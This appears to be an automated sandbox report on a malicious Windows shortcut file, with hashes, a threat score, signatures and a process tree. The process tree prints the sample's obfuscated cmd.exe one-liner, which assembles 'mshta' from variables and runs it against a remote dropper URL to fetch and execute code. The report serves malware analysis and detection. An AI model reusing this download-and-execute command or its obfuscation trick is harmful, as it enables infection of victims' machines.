Analysis
- max time kernel
148s - max time network
118s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-W79OCQ.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-W79OCQ.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-W79OCQ.lnk
- Size 1KB
- Sample260803-qs5rxazelc
- SHA256 47183df50e384d8421ebba549e94d41f8e43f8c8edb87b0600a78fb1d236b942
- MD5 651ad36ddfb7fb89ab56a74e91d36462
- SHA1 263c0aa1eb8a2ab69ff99365ffc2e0b21db435bf
- SHA512 2eee57d24c9cba5a1f92186567eee6b4299a108c3f768e0e444fabf6c58b48ead012cfae72abb3470cefde4a3e402fa26e4a4bbdf19243d50e4617d091088a2c
- TLSH T16A3197503FF90A14F3F38E3394BB571089BBBC968E20CA1D0041460C5032A05E1BAFA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5464 cmd.exe 4608 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4608 wrote to memory of 5464 4608 cmd.exe 90 PID 5464 wrote to memory of 4260 5464 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-W79OCQ.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set UJI=msh&&set srvZp=ta&&start "" !UJI!!srvZp! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5464 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4260
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